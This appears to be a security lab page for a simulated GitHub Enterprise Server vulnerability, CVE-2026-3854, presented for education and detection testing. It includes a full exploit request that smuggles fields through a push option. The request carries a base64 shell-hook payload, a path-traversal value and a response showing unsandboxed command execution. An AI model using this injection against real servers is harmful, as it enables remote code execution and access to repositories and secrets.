GitHub Enterprise Server - X-Stat Field Injection to Pre-Receive Hook RCE
Run this lab
Lab not starting or behaving wrong? Report a problem with this lab
Summary
⚠️ NOTE: This is a SIMULATED vulnerability environment using Python/Flask. The actual GitHub Enterprise Server (babeld / pre-receive binaries) is NOT included — GHES is closed-source commercial software and cannot be redistributed. The lab emulates the exact vulnerable X-Stat parsing and hook-resolution behavior described in the advisory for educational purposes.
GitHub Enterprise Server versions up to and including 3.19.1 are affected by a remote code execution vulnerability (CVE-2026-3854) in the internal git protocol. babeld copies git push-option values directly into the internal X-Stat header without sanitizing ';', the header's field delimiter. An authenticated user with push access can inject a single push option value containing extra fields (rails_env=development, custom_hooks_dir, repo_pre_receive_hooks) that disable the pre-receive hook sandbox and redirect hook resolution to an attacker-controlled, path-traversed location, resulting in arbitrary command execution as the git service user via a single git push -o command. GitHub.com was also affected and was patched within 6 hours of report.
Technical detail
Impact
An authenticated attacker with push access to any repository can execute arbitrary commands as the git service user. On real GitHub Enterprise Server this yields access to all repositories and secrets on the instance; on GitHub.com, access to repositories on the shared storage node was possible before the 6-hour patch.
Exploitation & proof of concept
X-Stat field injection via unsanitized push-option semicolon leads to pre-receive hook RCE
The /internal/git-receive endpoint (simulating babeld's push-option handling) concatenates each push-option value into the X-Stat header without escaping ';'. Because ';' is also the field delimiter, a single push-option value can smuggle additional fields. Setting rails_env=development disables the hook sandbox; custom_hooks_dir and repo_pre_receive_hooks are then used, unvalidated, to resolve and execute a hook script as the service user.
POST /internal/git-receive HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer demo-user-push-token-123 {"push_options":["id=abc123;rails_env=development;custom_hooks_dir=/tmp/evil;repo_pre_receive_hooks=pwn.sh"],"hook_payload":"IyEvYmluL3NoCmVjaG8gVlRfMjAyNl8zODU0X1BXTkVEXyQoaWQgLXUpXyQod2hvYW1pKQo="}
HTTP/1.1 200 OK Content-Type: application/json {"executed":true,"sandboxed":false,"resolved_hook_path":"/tmp/evil/pwn.sh","output":"VT_2026_3854_PWNED_1500_gituser\n"}
Nuclei detection: vt-2026-3854.nuclei.yaml
Remediation
Lab setup notes
- docker compose up -d
- Wait for the healthcheck to pass (a few seconds)
- Banner: curl http://localhost:8385/
- Auth: every POST /internal/git-receive needs header 'Authorization: Bearer demo-user-push-token-123', otherwise 401
- Baseline (no injection): POST /internal/git-receive with push_options ['id=abc123'] -> sandboxed:true, executed:false
- Exploit: put ';rails_env=development;custom_hooks_dir=/tmp/evil;repo_pre_receive_hooks=pwn.sh' inside one push option, plus a base64 hook_payload -> sandboxed:false, executed:true (full request: see the Exploit Chain above and the nuclei PoC)
- Path traversal alone: repo_pre_receive_hooks=../../../tmp/x.sh escapes /srv/hooks/safe
- nuclei -t vt-2026-3854.nuclei.yaml -u http://localhost:8385